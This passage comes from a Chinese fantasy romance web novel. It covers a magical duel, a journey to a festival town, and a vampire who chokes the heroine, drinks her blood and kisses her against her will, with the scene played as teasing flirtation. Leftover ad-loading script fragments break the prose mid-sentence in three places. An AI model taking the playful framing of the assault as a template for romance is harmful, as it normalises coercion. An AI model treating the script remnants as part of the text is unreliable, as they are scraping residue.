苏法尔偏头躲避,身形一闪,已经撤到另一个角落,动作快到不可思议:“奥倾,咪莉睡着了吗?” “我来是要你命的。” 苏法尔饶有兴致地挑眉,完全不屑奥倾的威胁:“是吗?” 奥倾接连不断地出手,威力巨大的魔法球将房间四周破坏得千疮百孔,尘土飞扬,每当他绕到苏法尔身后时,苏法尔总能轻易躲过他的攻击。 苏法尔轻盈地落在已经空荡荡的残破窗台上半蹲着身子,他的头发在快速移动中变得有些凌乱,一只衬衣袖子也裂开露出了肌肉暴起的胳膊,但脸 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上依旧从容淡笑:“咪莉都告诉你了吗?” 奥倾“呵呵”地怪笑了两声,手里还保持着新的一团红色光芒举在空中:“苏法尔,你真的很令人讨厌,不过你确实是个强大的对手。” “谢谢夸奖,你也很强。”苏法尔微微一笑,然后迅速往后倒去躲开奥倾的攻击,他落到楼下的地上,抬头看着已经站在窗台上的奥倾,丝丝冰冷的雨丝落在他如夜色一般黑的头发上,凝成一颗颗透明的小水珠,然后融湿他的头发。 奥倾也跟着跳了下来,紧追不舍地与苏法尔打斗,开始新一轮的攻击,苏法尔并不是单纯的地只在防御,而是一直在观察他的身手,然后在寻找机会对其出手。 这是个谨慎狡猾又强大到变态的对手。 奥倾在心里对苏法尔做出一个很高的评价,很少能有人接住他所有招式。 在两人打得不可开交时,闻声赶来的格雷和娜娜也加入了战斗,奥倾在躲避苏法尔突然的反击后跳至一个石台上,冷冷一笑:“以多欺少吗?” 他的衣服也碎裂了多道口子,手背上也是多了两道见血的长痕,像是被薄薄的利器一划而过。 格雷横着一柄黑色大刀在身前,娜娜则一手光团一手夹着三只透明药剂,他们站在苏法尔身前防御着,也做着听从老大安排随时冲上去的准备。 苏法尔也挂了不少的彩,脸颊上多了几道细细的血痕,不仅没有令他这张英俊的脸难看,反倒添了丝漂亮的脆弱感,他笑了笑说:“能杀死你就是胜利的,我没有一对一的概念。” 他说完后往前走了一步:“不过你想一对一,我也可以答应。”然后举起手朝格雷和娜娜示意了一下他们退下。 “团长!”娜娜最先着急,黑暗佣兵团一直奉行“只要完成任务,则不计任何手段”这一条例,团员擅长团队配合,从没有一对一的君子概念。 格雷倒是没说什么,往后退了退,苏法尔对娜娜说:“我没事。” 娜娜见此,只好跟格雷站在一旁,但仍旧一副担心的样子。 奥倾皮笑肉不笑地冷哼:“我现在还不想跟你拼个你死我活,苏法尔,我警告你,趁早和咪莉断绝婚姻关系,离她远一点。” 他身上还有要务,现在跟苏法尔搞个两败俱伤是非常不明智的,今晚过来是要给苏法尔一个警告。 苏法尔云淡风轻,半点没受对方肃杀的气势影响,他拨了拨湿润的额发,衬衣也被雨水黏在身上,显露出他结实健壮的身形:“如果我不呢?” 他说完还露出一个恶劣的笑容,黑眸闪动着神秘深邃的光,很像故意跟人唱反调的叛逆少年。 奥倾握紧了拳,怒极反笑,他浑身没有湿一点,在从屋里下来时就已经提前用上了光罩:“那你就好好睁开眼睛看看吧,看看咪莉是如何喜欢我,信任我。” 奥倾说完并没有等谁回答就走了,娜娜立刻上前询问苏法尔有没有事。 苏法尔摇摇头说没事,随后和他们换了家旅馆住下。 奥倾回去后咪莉没有醒,她蜷在被褥里缩成一团,睡得很安稳。 他脱了冰凉的外套躺去咪莉身边,把她搂进怀里,不小心吵醒了她,她在他胸前蹭了两下,像是刚出生不久确认父母气味的小兽一样,轻轻呜咽了一声然后靠在他胸前睡去。 奥倾吻了一下咪莉头顶,把被子给两人盖好,也叹息着陷入梦乡。 雨夜嘈乱,风声凄怨,咪莉做了噩梦。 她梦见苏法尔变成一只红眼睛长尖牙的野兽,然后把她踩在锋利的爪子下,冲她嘶吼着发怒,咬断了她的脖子,她的脑袋掉在了一旁,苏法尔这只野兽还用长长的舌头舔她的脸。 然后奥倾赶过来救她,看见苏法尔在吃她的嘴唇后开始和苏法尔争抢她的脑袋,打得死去活来的,她的脑袋就那样躺在地上看着他们打。 天光大亮,一夜惊悚的梦。 咪莉睁开眼睛看着天花板,抖着手左右摸了摸自己的脑袋,确定还连接在脖子上后才长舒一口气。 “太吓人了……” “什么太吓人了?”奥倾迷迷糊糊的声音从咪莉耳边传来,弄得咪莉耳朵痒痒的。 咪莉立刻脖子脸颊耳朵一起发热,惊吓地坐起来:“奥倾哥哥!” “嗯,我在呢。”奥倾把咪莉又捞回去,看着一脸惊恐又难为情的咪莉,“看样子咪莉恢复了,一大早就这么精力充沛。” “我昨晚太迷糊了……” 咪莉发窘地躲开奥倾凑过来的脸,左扭右扭地终于离开床的范围逃进洗手间。 奥倾瘫在床上,看着那道开着的浴室门,嘴角笑盈盈的。 20.碰瓷小妹妹的幼稚血族 奥倾把破掉的衣服丢在了垃圾桶里,手上的伤口也使用了治愈系魔法让皮肤完好如初,咪莉洗漱完出来看见垃圾桶里的衣服后,问他怎么一回事。 奥倾笑了两声说穿腻了。 咪莉窘,吐槽了他一句:“浪费可耻。”然后噔噔噔地去楼下买吃的。 两人吃完早餐后咪莉正收拾东西,这一路上零零碎碎地添了不少小东西,她余光看见床尾那双鞋底沾满泥水的黑色短靴默了默,然后走过去重重踢了一脚。 两只鞋子“唰唰”地分开飞到两边。 正在穿外套的奥倾看了一眼咪莉,扣好领口的蓝宝石扣,身姿修长到分外惹眼,金色碎发在白日里更让人有一种温暖的感觉:“收拾好了吗?等会儿要不要到前面的小镇逛一逛?” “小镇?”咪莉看向他。 “嗯,附近有个小镇,叫奈彼多鞍。”奥倾走过来把咪莉手里的包裹系好,拉着她离开房间,“是一座挺有名的古迹小镇,明天在那里会举行花神节,会很热闹。” 咪莉怔怔看着她和奥倾牵着的手,脸颊红红的:“好啊。” “等会儿出去我们找个信局,给你妈妈写封信寄回去,提前让她知道我找到你的消息。” 信局有专门的信件传送加快服务,由来自精灵之国的月艾翎鸟送信,会比他们赶路要快上一半的时间,咪莉拍拍额头:“我怎么就没想到写封信呢。” 原本在曼努森她不能暴露身份,就算写了信寄回去也有风险,这会儿倒忘得一干二净。 奥倾朝咪莉笑笑:“幸好有我呢。” 咪莉握住奥倾的手,调皮地弯着眼睛,像两颗灿烂的小月牙:“谢谢奥倾哥哥。” 奥倾挑眉说:“那咪莉亲亲我表示感谢?” 咪莉愣了愣,又迅速瞪他一眼,甩开他的手:“流氓!”然后自己一个人跑出旅馆去牵马车。 但是,苏法尔忽然出现了。 今日天清气朗,温暖的阳光驱散了昨夜的阴冷潮湿,这座小镇的外貌也明媚了些。 但比阳光更明媚的是苏法尔的笑容。 苏法尔穿的还是昨天的黑色风衣,只是里面换了件洁白的衬衣,胸前和袖口的留白都整理得服服帖帖,一双黑色长筒靴衬出他修长双腿,笔直有力,走起路来仪态雍容,就好像哪家的王子出来游玩了。 咪莉不得不承认,苏法尔长得真的是妖孽。 她忽然又想到了纳罗。 不过再好奇苏法尔和纳罗之间的关系,也不想跟苏法尔多说一句话。 “早上好。”苏法尔走到咪莉身边打着招呼。 咪莉用一种“你有病吧”的眼神看着他,完全不敢相信这个混蛋昨天对她做出那样可怕的行为后,今天竟然跟什么都没发生过一样,招呼打得就像熟人似的。 “吃过早饭了吗?”苏法尔摸了摸旁边悠闲的马儿鬓毛。 “苏法尔,你又想做什么?我什么都没说。”咪莉不满地看着他。 她掂量了一下,苏法尔不止一个人,他背后是整个黑暗佣兵团,就算奥倾可以单挑苏法尔,但难保后面会不会有各种麻烦,所以她选择暂时沉默。 苏法尔笑着说:“你这趟是回家吧,作为你的丈夫,我当然要和你一起回去。” 咪莉觉得自己快要呼吸不上来了,被气的。 奥倾看见苏法尔和咪莉站在一起,脸色阴了下来走过去,挡在咪莉身前:“你很闲吗?” 苏法尔双手插着风衣口袋,点点头:“嗯,很闲。” 很闲你去喝水吧! 咪莉狠狠瞪着苏法尔,眼珠子恨不得崩到苏法尔那张可恶的脸上。 奥倾并不想和苏法尔起冲突,对于苏法尔的随行他没有明面反对,恰好更能让他表现自己和咪莉之间坚不可摧的感情。 路上一开始由奥倾赶车,咪莉坐在车板上陪着奥倾,加上外面光线好看书学习方便,苏法尔则坐着他那头黑翼龙低低飞行在马车旁。 再后来变成奥倾单独在外面坐着,咪莉回到车厢内。 因为苏法尔总是在咪莉询问奥倾魔法阵的各种启动原理时插嘴教她。 苏法尔学识渊博能力不俗,是半神级别的光明与黑暗魔法双修强者,讲解的知识也是非常正确的,但咪莉对他无比厌烦,语气就不太好,两个人在魔法上说着说着就开始上升到人身攻击。 “是啊我就是笨,哪像你这样厉害的天才啊,闭着眼睛都能学会大魔法,简直就是人界的光明,魔族的噩梦。”咪莉捏着书咬牙切齿,“这圣女就该由你来当才是,让你保卫人类。” “咪莉一点也不笨,很聪明的。”奥倾哄着情绪逐渐不对头的咪莉。 苏法尔心里头挺生气的,自己好心教人家,人家不领情就算了还阴阳怪气地讽刺他,但为了建立自己良好的丈夫形象,又想让咪莉认识到自己的各种不足,还是耐着性子说:“天资愚钝是可以通过后期努力勤学弥补的,虽然成效比不上天赋高的,但也总能当个中级魔法师。” 苏法尔还对奥倾说:“奥倾,不指出她的缺点和错误她是进步不了的,你太捧着咪莉了。” 一本书裹着疾风朝苏法尔袭去,苏法尔扬手接住咪莉丢来的书,无可奈何地看着愤怒到头顶冒烟的她:“你还年轻,是还有……” “我不想听你再说任何一句话啊!”咪莉暴躁地回到车厢里,奥倾看了眼神色严肃的苏法尔,不由地抿着唇角低低笑了起来。 从咪莉恢复完整灵魂拥有学习魔法的能力后,他自然知道咪莉的实力上限在哪里,就算有着圣女神力,短时间内也无法吸收接纳,她的体质要比普通人还弱一些,但他从没有这样直白地告诉过咪莉,以免打击到咪莉的自信心。 “苏法尔,你……”奥倾说着又吭哧吭哧低声忍笑,生怕笑出声来惹到咪莉。 结果还是被耳朵尖的咪莉听见了。 咪莉更加灰心丧气,躲在车厢里蜷缩在角落里,阴暗地咒骂他们:“都是自傲的家伙们!等我有一天变强了,一定把你们通通打倒……混蛋……” 没一会儿,马车就停了,奥倾钻进车厢把在对着角落黯然神伤的咪莉扭过来揉揉她的脑袋:“好了好了,别听苏法尔说的,他就是个变态,和我们不是一个世界的。” 苏法尔站在马车旁看似发呆望天当忧郁王子,其实内心很是纳闷,其实他明白自己的话对咪莉来说是种打击不利于教学,但他心里就是莫名的生气,以至于话不经脑就那么说了出来,尤其看见她和奥倾坐在一起挨得那样近,如果换做是他离得那么近,她估计能逃到十米外。 他的小黑憋屈地低飞了一路,心情也不好,硕大双翼不停地烦躁舞动,特别鄙视地偷瞄了一眼主人,心里腹诽道:你真毒舌,媳妇儿早晚被你作没,女人都爱听好听的,你夸她两句漂亮不就解决了? “苏法尔,车上没水了,你去右边那条小道上找些水来吧,我听见那边有水声,应该有瀑布。”奥倾使唤人非常顺手,怕苏法尔不愿意去,还补了一句,“咪莉渴了。” 此时坐在车厢里整理头发的咪莉:“???”她渴了吗? 就算她渴也不想喝苏法尔找的水啊。 奥倾摸摸满脸迷惑的咪莉头顶,笑眯眯地说:“要懂得利用现有资源。”出门在外有个免费劳动力也是不错的。 咪莉本来想说她不喜欢这样,但忽然想起自己曾经在曼努森撞到魔族小王子时也利用过苏法尔一回逃避赔偿,不由心虚起来,说话声音也小了很多:“奥倾哥哥你和他一起去吧,做个伴。” 奥倾歪歪头:“嗯?” 咪莉把他推出去:“去 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吧去吧,我想喝你打的水,你打的水甜。” 奥倾捏捏咪莉软乎乎的白皙脸蛋:“咪莉的小嘴更甜呢,真想尝一尝。” 咪莉把他踹了出去:“快去。” 苏法尔和奥倾并排地循着水声朝树林密集的地方走去,他们谁也不愿意把后背留给对方有偷袭的机会。 奥倾抱着胳膊漫然地迈着两条长腿:“你打算待到什么时候?” 苏法尔不冷不淡地说:“我凭什么离开?” “你又不喜欢咪莉,一直不肯解除婚姻,是另有所图吧。” 苏法尔轻轻勾唇,漆黑的双眸闪过一抹锐利的光,但这个角度奥倾是捕捉不到的:“呵呵,咪莉是个漂亮可爱的人,喜欢上她是很容易的事。” 奥倾并没有生气别的男人对他所喜欢的人表达毫不遮掩的爱意,他语气很是轻松:“换做别人我还能信这话,可如果是你,那还真不怎么有可信度。” 苏法尔活了那么多年,阅历见识比只在塔朗镇和附近周边小城打转的咪莉不知道深了多少倍,身材样貌地位实力无论哪一样都是顶尖的,女人对他来说只是勾勾手就可以到手。 但是,喜欢咪莉,并不是不可能的。 比如自己,不也是正被这件事所困吗? 苏法尔也没有应他,两人就这么一直相对无言地去找水。 而留在路边的咪莉遇到了碰瓷。 一个用黑色斗篷裹得严严实实连脑袋和脸都没露出来的人拍了拍正在路边伸展四肢活动的咪莉说:“你的马车撞到我了,赔钱。” 咪莉觉得自己该找女巫为自己算算人生命运,怎么她这么容易遭遇碰瓷讹诈。 咪莉转过身,入目就是一个穿着非常诡异的高大男人,性别是从对方低沉磁性的嗓音听出来的,不然以对方这副木乃伊包裹般的程度,她还真不能从身形确定性别,毕竟巨人族女性也是拥有如此健壮魁梧的身材。 咪莉看了看这个黑斗篷男,又看看自己停在那里一步都没动的乖顺马儿,确定这个黑斗篷男是在碰瓷她。 她露出微笑:“撞你哪儿了?” 斗篷里的男人指了指胸口,他戴着一副黑色皮手套,连手腕都没露出来:“这里。” 咪莉看向他干干净净没有一点蹄子印和脏痕迹的衣服:“是内伤吗?” 斗篷男人顿了顿,立刻点头:“对。” 咪莉嘻嘻一笑,露出一排白闪闪的牙齿,总让人觉得不怀好意:“钱我没有,但我可以给你治疗。” 说着她就拍拍斗篷男人的胸口。 嗯,手感坚硬,还隐隐有一股强大的力量覆盖,就算马车以飞一般速度冲过去也不能伤他分毫。 斗篷男人低着头,看着覆向自己胸膛上检查的那双白嫩小手,指甲泛着粉色光泽,就像人界娇嫩的粉佳人花瓣一样,和他浓黑一片的衣服形成鲜明对比,给他的视觉造成了某种诱惑冲击。 他大概是想喝鹿奶了,牙齿有点痒痒的。 但这时他忽然感受到一股魔力在那双小巧白嫩的手里凝聚充斥起来,他迅速捉住她的双手举到她头顶,语气凶狠:“你干嘛!” 咪莉袭击失败,当下一个抬脚朝他肚子上踢去,下一刻,手腕上的钳制已经消失,而那斗篷男人的身影也不在眼前了。 咪莉眼眸微怔,看着空无一人的前方,等察觉到身后逼近的危险时,已经晚了。 她的脖子被那双戴着黑皮手套的大手掐住,双臂和腰都被对方用一只胳膊紧紧勒住,背后的人靠近她,低沉古怪的笑声响在她的耳畔:“好狡猾的小妹妹。” 到底谁狡猾啊,明明是你这个无脸男来碰瓷她! 咪莉紧紧皱眉,脸上浮现出一丝痛苦之色,她的呼吸有些艰难,虽然不致命,但也足以让她胸腔感到逼人的压迫。 21.劫色! 斗篷中的男人便是和奥倾见过面的血族伯爵,埃比茨,他个子很高,咪莉在他怀里可谓是小鸟被囚了。 “别乱动,否则扭断你这娇滴滴的脖子。”他微微躬腰,靠近已经停止挣扎的咪莉,宽大的帽檐中隐隐可见他邪妄的冷笑,“你味道真好闻。” 他这样霸道又轻佻的姿态令咪莉眉头皱得更深,还有他帽子的边沿蹭得她的脸直发痒,从喉咙里艰难地挤出一句话:“谢谢,你的味道也好闻。” 她不是在恭维对方以求活命,而是对方身上确实有一股非常香润的气味,像是荼蘼花燃烧后余味漂浮在空气中的冷香,死气沉沉的。 埃比茨听到咪莉的话后得意地扬起唇,掌心下那不断跳动的血管刺激着他一向克制的食欲,真是奇怪,他血瘾不大的。 他忽然起了玩心,恶意地恐吓她:“我要是把你杀了,你会不会哭?” 咪莉感觉到他手上的力气松了些,呼吸也稍微顺畅了,她猛吸了一口换气,然后无语:“我都死了还怎么哭?” “你说的也是。” 本来还在担心自己下一秒可能就被扭脖子的咪莉哑言,对方身上散发出来的能量虽然很邪肆,却让她没有过多的危机感。 奥倾和苏法尔才刚走没多久,短时间内不会回来,那条黑翼龙也为了活动翅膀飞远撒欢了,现在她真的求救无门,关键时候还是要靠自己啊,可恶。 “你是想要钱吗?”咪莉开始试图谈判,她可不想真的就被莫名其妙杀了。 “刚才是想的,但现在不想了。” “那你想干什么?”咪莉说着就忍不住要回头看他,只是顷刻间又被箍住脖子,疼得她眼泪浮出,五官扭曲起来。 埃比茨低下头,将鼻子靠近咪莉的脖子,香甜的气息钻进他呼吸里,肌肤上是月格撒拉花的沐浴香气,更美味的是隔着肌肤流动的鲜血芬芳,都令他食欲躁动。 咪莉被歪着脑袋,模样跟落枕似的,这男人的鼻梁好像很挺,时不时地磨蹭到她的侧颈,接着是浓重的冷气一波又一波的铺洒。 这个男人的呼吸冷冽到如寒月冰雪。 突然的,咪莉开始恐惧起来,因为从这种动作她联想到了奥倾这样亲吻她的时候也是这样。 这男人是想劫色吗! “呜……”咪莉颤巍巍地呜咽一声,开始奋力抽动身子,她不要被一个裹得像木乃伊的人给劫色啊。 埃比茨从她颈间抬起头,看见一张憋红的小脸落了两行清泪,因喘不上气的小嘴儿也一直微张着,这才恍然发觉自己力道越来越重了,差点把人掐死。 把她掐死了奥倾一定跟他拼命。 而且他心里好像也有那么一点点觉得咪莉要是死了好像很可惜? 埃比茨把已经浑身发软的人掰过来面对着他,握着她单薄的双肩问:“你是不是刚喝过鹿奶?” 意识飘离在空中的咪莉半天才听清他的话:“什么?” 什么鹿奶羊奶的,她只喝过牛奶。 埃比茨歪了歪头,帽檐弧度顺着他的动作也歪下来,还有一缕黑色的长发溜了出来,落在他胸前。 不知为什么,咪莉从对方的动作里读出他在迷惑的神情。 没喝过鹿奶的话,这个脆弱到一指头就能碾死的女孩子怎么这么令他牙痒? 埃比茨左手抓住咪莉的两只手腕,她的手腕很细,骨架小,所以很轻松,然后右手一翻,凭空出现一把两寸长的袖珍小刀。 埃比茨举起咪莉的双手,在她粉嫩的食指上划了一道口子。 “嗷!”咪莉疼得瞬间冒泪,她愤怒地看着这个男人把她冒出汩汩鲜血的食指含在嘴里吮吸。 埃比茨品尝到咪莉血液的那一瞬,忽然觉得灰沉的脑子里就像开出了一朵稚嫩的小草芽,他眨了眨眼,情不自禁地想吸食更多。 甘甜的味道,和他以前尝过的人类血液完全不同,就连世界上拥有纯粹灵气的精灵血液都比不上。 埃比茨的眼睛泛着血红,牙龈越发地痒,他努力压制想要冒出来的两颗小尖牙,不想在咪莉面前暴露了身份。 可能是觉得她会害怕? 埃比茨这样想着,不停地揉按这双热乎乎的小手,使大量血液涌到他的口中,脑子里的那朵小嫩芽逐渐长成一朵漂亮的花朵,很甜很甜。 可他却怎么也不觉得满足,这样喝着太不爽了,他好想咬断咪莉的脖子大口汲取,让她美味的血液沾满自己的唇,流入自己死寂的体内,让那朵漂亮的花开得更灿烂。 咪莉就这样愣愣地看着他一直在吸她的血,他口腔里都是凉的,感受不到一丝温度,然后她浑身打了个冷颤。 这绝对是个变态,怎么会有喝血的人啊。 难道是传说中的血族? 一想到这个,咪莉更加害怕起来,血族是比魔族还要冷漠无情的死物,遇上血族只有两个下场。 一是被咬一口发现血很好喝于是被吸干失血过多死掉,二是被咬一口发现血很难喝直接割断脖子死掉。 咪莉不自然地扭了扭脖子,又想起做的那个脑袋掉在地上的噩梦。 果然梦是预言警示的,这不就遇到断脖子大危机了吗? 但是血族惧怕阳光,这男人包得这么严实就证明了这一点。 那她只要把他衣服掀了是不是就可以打败他了? 想到就做,咪莉顿时燃起信心,在心里给自己打了打气,然后重重地吸了一下鼻子,抽噎起来。 果然这男人放开了她本来饱满状态现在被嘬到扁扁的手指头问她怎么了。 她用一双水汪汪的大眼睛楚楚可怜地说:“我的胳膊有点酸,能放下来我一只手吗,反正你也只吸那一根手指头。” 埃比茨想了想,然后大手一捞,把咪莉打横抱了起来朝马车走去。 “你、你做什么?”咪莉慌乱地在他怀里动了动。 埃比茨坐到马车上后,把咪莉抱在腿上,让她靠在自己怀里,然后把她那只可怜的爪子拿起来准备重新喝:“还行吗?” 咪莉无言以对,但是这男人忽然看向自己,这个姿势让她看清了男人帽檐中藏着的脸,虽然戴了黑色面具遮掩,但从那双细长的眼眸和唇形可以看出他是个很英俊的男人,他的眼瞳是深红色的,就像传说中血族的印象,阴冷,邪恶,又透着一丝不多见的贵气。 这一定是血族里的一个大人物。 咪莉眨眨眼,对他作出猜断。 不过看他越来越危险的眼神,咪莉有些不安,呐呐地问:“怎么了?喝饱了?那你要离开了吗?” 走吧,赶紧走吧。 埃比茨的视线落到她一张一合的唇瓣上,粉粉嫩嫩,像樱花一样。 品尝起来是不是也和樱花一样芬芳?会比她的血还美味吗? 眨眼间,埃比茨就已经做出了行动,吻上她的双唇,看着她因惊愣而骤然瞪大的双眼,明亮漆黑的瞳孔上印出他的轮廓。 “唔……你!”咪莉反应过来后推拒着他,却不料让他的舌趁着呼喊空隙钻了进来,就像舔舐她的手指吸血那样缠着她的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 舌。 咪莉晴天霹雳,她真的被劫色了,还是被一个血族。 大脑凌乱间,咪莉顾不上反抗了,因为她的反抗在对方眼里就是挠痒痒,她把心一横,开始扒对方的斗篷,掀掉他的帽子。 一头像夜一般的长发滑落下来,拂过他的黑色面具,落在她通红的脸上。 埃比茨看穿了咪莉的目的,抱着咪莉滚进车厢内,抓住那只扯掉自己斗篷的手阴阴笑起:“小妹妹真聪明,这就猜出我的身份了?” 想要让他暴露在阳光之下,可不是那么容易的。 咪莉见计划被拆穿,不管三七二十,扑上去就是一顿脱。 “哎呀,小妹妹好热情呢。” “……” “人家的衣服可不是那么容易就被脱掉的哦。” “……” “别急别急,慢慢来,要不要我帮帮你呢?” “……”咪莉手忙脚乱地刚扯开埃比茨的衣服,看见他光滑结实的胸肌后,双眼大喜。 “小妹妹好色哦,盯着人家的身子看,人家要害羞了。”埃比茨躺在咪莉身下戏谑道。 咪莉横了他一眼,然后拿出她吃奶的劲儿拼命把这混蛋血族往外拖,可人家纹丝不动,还一个翻身就把她压在身下了。 “喂!你喝血就喝血,别乱做多余的事啊!”咪莉见情况不妙,用力在他身下往外扭动。 埃比茨的一只手撑在她的脸边,一只手拾起自己垂落的长发,用发梢轻轻挠她的脸蛋,又委屈又无辜:“明明是你想对我怎么样,怎么倒打一耙呢?” “臭流氓!”咪莉暴躁地转脸躲避,埃比茨偏一直逗她,挠挠她这边的脸,又挠挠她那边的脸,跟个孩子一样玩得乐此不疲。 忽然埃比茨停住了动作,像是在听外面的什么动静,然后低头在咪莉唇角亲了亲,笑得意味深长:“我得走了,下次再见。” 说罢他捏捏咪莉像鸡蛋一样滑嫩的脸颊又说:“多养养身体,把血补回来,不然可供不上我。” 咪莉差点朝他吐口水。 受够了气,咪莉恶向胆边生,在埃比茨从车厢里出去的时候,抬起腿朝他屁股踹了一脚。 埃比茨“哎呀”一声栽下车。 咪莉哼了一声想跟着出去看看埃比茨摔的狗吃屎狼狈样子,结果出来一看,外面空无一人。 然后是两道熟悉的身影从远处密集的丛林里走出来。 奥倾和苏法尔。 咪莉顿时热泪盈眶,连带着看苏法尔都顺眼了许多。 她跳下马车跑过去拉住奥倾的手,又是欣喜又是委屈:“你们怎么才回来啊!” 奥倾见咪莉情绪不对,然后一眼发现咪莉的双唇变化,微红泛肿,显然是被蹂躏过的模样,顿时眼色一紧,看了一眼苏法尔。 “发生什么了?”奥倾反握住咪莉的手,一股怒气在心里升起,没想到这里也会有对咪莉不利的事情发生。 咪莉把刚才的事情说了一遍,当然隐瞒了那个血族亲她的部分,她还是不太好意思说出来。 “血族?”苏法尔喃喃道,蹙眉道,“血族不轻易现世,因为阳光是他们的天敌,所以人界他们不会来,倒是会去适合他们的魔界地盘来往。” 当咪莉说是血族出现的时候,奥倾就猜到是谁了,只有埃比茨那个爱管闲事的。 奥倾安抚了一顿受惊的咪莉,一路上都没再离开半步,苏法尔也没说什么,自动充当那一个跑腿的办事的,很快便抵达了奈彼多鞍,这座淳朴温暖的童话小镇。 22.巫师的预言 由于节日即将到来,这座小镇的夜间是非常绚烂多彩的,虽然比不上圣光城各式各样的魔法建筑那样华贵奢靡,但这里的繁花似锦让人感到温馨淳朴。 街道两边的蜜桉树们嫩嫩的一棵,枝丫上结满粉白的蜜桉花,风一吹,便有无数粉白花瓣飘落,飞向路人的肩头或者发间。 咪莉坐的马车棚顶上就铺了一层薄薄的蜜桉花,咪莉坐在奥倾和苏法尔的中间,仰着头看天上像雪似的花瓣们,亮晶晶的眼眸里蒙上一层浅金色的街灯光影,她的头发上也落了零零碎碎的小花瓣。 “真漂亮,像雪一样,我长这么大还没看过雪呢。”咪莉双眼欣喜地左瞧瞧右望望,这里是小镇上的一条中心商业街,街道两边是热闹的小店。 苏法尔看向咪莉说:“塔朗镇的地理位置是不怎么下雪,不过在三十年前左右下过一场大雪的。” 那时候她还没出生…… 咪莉在心里白了他一眼,想到什么似地问他:“苏法尔,你多大了?” 苏法尔摸着下巴,沉思道:“大概一百七十六?也可能是一百七十五,记不太清了,我不过生日,所以对年龄只有个模糊概念。” 咪莉震惊得已经不会说话。 一百多岁,比她妈妈年龄还要高。 这时苏法尔又看向奥倾微笑道:“奥倾应该比我年龄更大吧。” 还没等奥倾说,咪莉就冲苏法尔鄙视一眼:“奥倾哥哥今年二十九岁,很年轻的,哪像你是个老爷爷。” 苏法尔略过咪莉,对奥倾讥笑,显然是怀疑的态度:“真的吗?” 奥倾笑了笑,脸上镇定自若:“当然是真的。” 一路上,咪莉都在和苏法尔斗嘴,偶尔气到了就被奥倾顺顺毛,当然苏法尔被她气到的次数也不少,只是他没人顺毛,只能憋在心里不舒服,然后沉默不语。 没多久,三个人找到一家旅馆准备住下,但在前台僵持住了。 事情是这样的,咪莉,奥倾,苏法尔三人走到前台准备要房间时,苏法尔抢先一步对服务员说:“小姐,一间双人套房,一间单人间。” 咪莉古怪地看着如此积极的苏法尔,然后下一秒就差点被自己口水呛到。 因为苏法尔微笑着说:“旁边这位是我的妻子,她喜欢通风好的,麻烦为我们准备一间窗户朝外面的,谢谢。” 咪莉怒不可遏地说:“我们马上就要离婚了,谁要和你住一间啊。” 奥倾也沉着脸色把咪莉拉到自己身边,眼神中充满警告:“苏法尔,你不要太过分。” 服务员看看苏法尔,又看看夹在其中的咪莉,最后再看看奥倾,为难地说:“那大人们要几间房?” 奥倾和苏法尔同时开口:“两间。” 奥倾边拿钱边迅速补充道:“其中一间双人的。” 服务员给了他们两把钥匙,一把是双人房的,一把是单人房的,等他们去客房时,她转身就和同事八卦刚刚自己看的三人恋。 双人房的那把钥匙在奥倾手中。 咪莉进房后,苏法尔叫住了准备也进去的奥倾说:“奥倾,你出来一下,我有事想问你。” 听闻此言的咪莉立刻从房里出来,警惕地看着苏法尔,奥倾对她说没事,让她快去洗澡休息。 咪莉累了一天,又被吸走那么多血,也没什么精力看着这两个男人,威胁了一句苏法尔,劝慰了一句奥倾,然后回房里洗澡去了。 “真是差别对待啊。”苏法尔轻轻一笑。 “所以希望你有自知之明,尽早离开咪莉。”奥倾瞥了他一眼,和他离开走廊,到了街道上一处无人的角落。 街灯将他们的影子拉得很长,外面是时不时经过的喧闹人流,苏法尔揣着风衣口袋说:“咪莉白天说的血族和你有关系。” 苏法尔用了肯定语气,似笑非笑地看着奥倾,犀利的眼神似乎要把对方看穿。 奥倾眼眸轻转,唇角翘起一丝不易察觉的弧度:“你在说什么?我听不懂。” “当咪莉提到那个血族时,你的脸上出现一些变化,像是猜到是谁。”苏法尔娓娓陈述着,“一路上也都刻意避开咪莉谈论那个血族的话题,连咪莉都看出你有些不对劲了,不过她心思单纯,是联想不到自己喜欢的奥倾哥哥居然和血族有所关联。” 奥倾的嘴角一直含着淡淡的笑,金色瞳孔微眯,竟有些欣赏的意味在里头,不过他当然不能承认:“那我可真是要被你冤枉了,我不认识那个血族,至于为什么避开话题,当然是因为咪莉在他那里受过欺负,我不愿意提及这种事情。” 奥倾的笑容在夜色中变得诡谲晦暗,他转了转身,背对着街道,挡住苏法尔身上一半的光影:“我不想让咪莉一直回忆不好的事情,让她陷入恐惧的情绪里对谁都不好。” 苏法尔微微一笑,平静地说:“奥倾,我等着你被咪莉知道真相的那一天,那一天会是何等的精彩呢。” 他说完后唇角笑意更深,离开了这个昏暗的角落,回到旅馆。 奥倾回到房间时,咪莉已经睡下了,她迷迷糊糊地听见奥倾说点了什么餐,但她实在太困就没吃,一觉睡到了天亮,无力的身子才算是缓过来一些劲儿。 大概是因为失血过多,咪莉的唇色有些发白,奥倾心疼地给她点了许多补血的,咪莉没什么胃口,但为了身体还是逼着自己吃了点。 苏法尔也从隔壁过来,看见咪莉一副病恹恹的样子,从衣服口袋里拿出一张棕色卷轴,说这是水系魔法师做的治愈卷轴,可以恢复伤患少量气血。 咪莉本来不想接受苏法尔的好意,但是奥倾并没有拒绝,直接接过来展开对她使用起来,一股温和的水蓝色泉水从卷轴里涌出,钻进她的体内。 效果很显著,咪莉当即就感觉精神好了不少,四肢的虚浮感也消失了,她别扭地想对苏法尔说声谢谢,可怎么都张不开口。 苏法尔让她再休息会儿,等下午去逛逛,然后迎接晚上的花神节。 奥倾也同意,咪莉不想晚上别人都在到处玩儿而她却像个病人体力不支无法参与,所以就听话地躺下睡去。 在下午三点时,咪莉被奥倾准时叫醒。 桌上准备了热乎乎的肉粥,里面是非常鲜嫩的布多斯野猪肉,光闻味道都食欲大增。 咪莉喝了两碗,弥补了午餐没吃的那一顿,然后和奥倾一起出门逛街。 当然还有苏法尔这个跟屁虫跟随。 下午的人也不少,还有一些是来自外地的游客,他们穿着漂亮精神的衣服到处游玩,脸上都洋溢着幸福。 